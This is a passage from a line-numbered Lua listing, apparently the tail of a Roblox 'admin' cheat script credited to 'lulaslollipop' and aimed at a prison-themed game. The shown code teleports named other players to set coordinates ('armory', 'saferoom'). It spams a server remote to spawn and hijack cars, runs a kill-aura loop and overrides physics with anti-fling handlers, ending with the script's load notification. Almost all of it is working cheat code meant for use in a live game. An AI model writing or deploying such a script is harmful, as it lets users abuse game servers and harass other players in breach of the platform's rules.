4032
API:bring(Target, CFrame.new(-843.855469, 93.7955246, 2058.3606, 0.00948868692, -4.14198537e-10, 0.999954998, 6.77936429e-10, 1, 4.07784168e-10, -0.999954998, 6.74036604e-10, 0.00948868692))
4033
end
4034
else
4035
API:bring(Speaker, CFrame.new(-843.855469, 93.7955246, 2058.3606, 0.00948868692, -4.14198537e-10, 0.999954998, 6.77936429e-10, 1, 4.07784168e-10, -0.999954998, 6.74036604e-10, 0.00948868692))
4036
end
4037
end
4038
if PlayerCheckCommand("armory") then
4039
if Arg2_P == "me" then
4040
API:bring(Speaker, CFrame.new(840.902344, 99.9899826, 2265.74536, 0.0302555375, -3.3549501e-08, 0.999542177, -4.92125558e-08, 1, 3.50545015e-08, -0.999542177, -5.02506197e-08, 0.0302555375))
4041
elseif Arg2_P then
4042
local Target = API:FindPlayer(Arg2_P)
4043
if Target then
4044
API:bring(Target, CFrame.new(840.902344, 99.9899826, 2265.74536, 0.0302555375, -3.3549501e-08, 0.999542177, -4.92125558e-08, 1, 3.50545015e-08, -0.999542177, -5.02506197e-08, 0.0302555375))
4045
end
4046
else
4047
API:bring(Speaker, CFrame.new(840.902344, 99.9899826, 2265.74536, 0.0302555375, -3.3549501e-08, 0.999542177, -4.92125558e-08, 1, 3.50545015e-08, -0.999542177, -5.02506197e-08, 0.0302555375))
4048
end
4049
end
4050
if PlayerCheckCommand("saferoom") then
4051
if Arg2_P == "me" then
4052
API:bring(Speaker, CFrame.new(704.895935, 99.9899826, 2373.47876, 0.0323696211, -1.06273255e-07, -0.999475956, -4.96659567e-08, 1, -1.07937481e-07, 0.999475956, 5.3133828e-08, 0.0323696211))
4053
elseif Arg2_P then
4054
local Target = API:FindPlayer(Arg2_P)
4055
if Target then
4056
API:bring(Target, CFrame.new(704.895935, 99.9899826, 2373.47876, 0.0323696211, -1.06273255e-07, -0.999475956, -4.96659567e-08, 1, -1.07937481e-07, 0.999475956, 5.3133828e-08, 0.0323696211))
4057
end
4058
else
4059
API:bring(Speaker, CFrame.new(704.895935, 99.9899826, 2373.47876, 0.0323696211, -1.06273255e-07, -0.999475956, -4.96659567e-08, 1, -1.07937481e-07, 0.999475956, 5.3133828e-08, 0.0323696211))
4060
end
4061
end
4062
if PlayerCheckCommand("car") then
4063
pcall(function()
4064
local Older = API:GetPosition()
4065
local OldPos = Speaker.Character:GetPrimaryPartCFrame()
4066
game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(-910, 95, 2157))
4067
wait()
4068
local car = nil
4069
task.spawn(function()
4070
car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
4071
end)
4072
repeat wait(.1)
4073
local ohInstance1 = game:GetService("Workspace").Prison_ITEMS.buttons:GetChildren()[8]["Car Spawner"]
4074
workspace.Remote.ItemHandler:InvokeServer(ohInstance1)
4075
until car
4076
repeat task.wait() until car:FindFirstChild("RWD") and car:FindFirstChild("Body") and car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
4077
car.PrimaryPart = car.RWD
4078
game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(OldPos)
4079
wait(1)
4080
local Done = false
4081
car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
4082
repeat
4083
game:GetService("RunService").RenderStepped:Wait()
4084
car:SetPrimaryPartCFrame(OldPos)
4085
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =CFrame.new(car.Body.VehicleSeat.Position)
4086
car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
4087
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit == true then
4088
Done = true
4089
end
4090
until Done
4091
wait(.3)
4092
API:UnSit()
4093
API:MoveTo(Older)
4094
end)
4095
end
4096
end
4097
game:GetService("RunService").RenderStepped:Connect(function()--//Global Runservice
4098
if not Unloaded and States.killaura and Temp.KillPart and plr.Character:FindFirstChildOfClass("Humanoid") and plr.Character:FindFirstChildOfClass("Humanoid").Health >1 then
4099
Temp.KillPart.CFrame = CFrame.new(API:GetPosition().Position)
4100
else
4101
if Temp.KillPart and States.killaura then
4102
Temp.KillPart.CFrame = CFrame.new(1,838539835428,0)
4103
elseif not Temp.KillPart and States.killaura then
4104
API:CreateKillPart()
4105
end
4106
end
4107
end)
4108
4109
local function PlayerAddedANTIFLING(Player)
4110
if Unloaded or not States.AntiFling then
4111
return
4112
end
4113
local Detected = false
4114
local Character;
4115
local PrimaryPart;
4116
4117
local function CharacterAdded(NewCharacter)
4118
Character = NewCharacter
4119
repeat
4120
wait()
4121
PrimaryPart = NewCharacter:FindFirstChild("HumanoidRootPart")
4122
until PrimaryPart
4123
Detected = false
4124
end
4125
4126
CharacterAdded(Player.Character or Player.CharacterAdded:Wait())
4127
Player.CharacterAdded:Connect(CharacterAdded)
4128
game:GetService("RunService").Heartbeat:Connect(function()
4129
if not Unloaded and States.AntiFling then
4130
if (Character and Character:IsDescendantOf(workspace)) and (PrimaryPart and PrimaryPart:IsDescendantOf(Character)) then
4131
if PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 or PrimaryPart.AssemblyLinearVelocity.Magnitude > 100 then
4132
Detected = true
4133
for i,v in ipairs(Character:GetDescendants()) do
4134
if v:IsA("BasePart") then
4135
v.CanCollide = false
4136
v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
4137
v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
4138
v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
4139
end
4140
end
4141
PrimaryPart.CanCollide = false
4142
PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
4143
PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
4144
PrimaryPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
4145
end
4146
end
4147
end
4148
end)
4149
end
4150
for i,v in ipairs(game:GetService("Players"):GetPlayers()) do
4151
if v ~= plr then
4152
PlayerAddedANTIFLING(v)
4153
end
4154
end
4155
game:GetService("Players").PlayerAdded:Connect(PlayerAddedANTIFLING)
4156
4157
local LastPosition = nil
4158
game:GetService("RunService").Heartbeat:Connect(function()
4159
if not Unloaded and States.AntiFling then
4160
pcall(function()
4161
local PrimaryPart = plr.Character.PrimaryPart
4162
if PrimaryPart.AssemblyLinearVelocity.Magnitude > 250 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 250 then
4163
PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
4164
PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
4165
PrimaryPart.CFrame = LastPosition
4166
elseif PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then
4167
LastPosition = PrimaryPart.CFrame
4168
end
4169
end)
4170
end
4171
end)
4172
local DefaultChatSystemChatEvents = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents
4173
API:Notif("Tiger admin Revamp by lulaslollipop",nil,true)
4174
CmdBarFrame:TweenPosition(UDim2.new(0.5, 0, 0.899999998, 0)-UDim2.new(0,0,.05,0),"Out","Back",.5)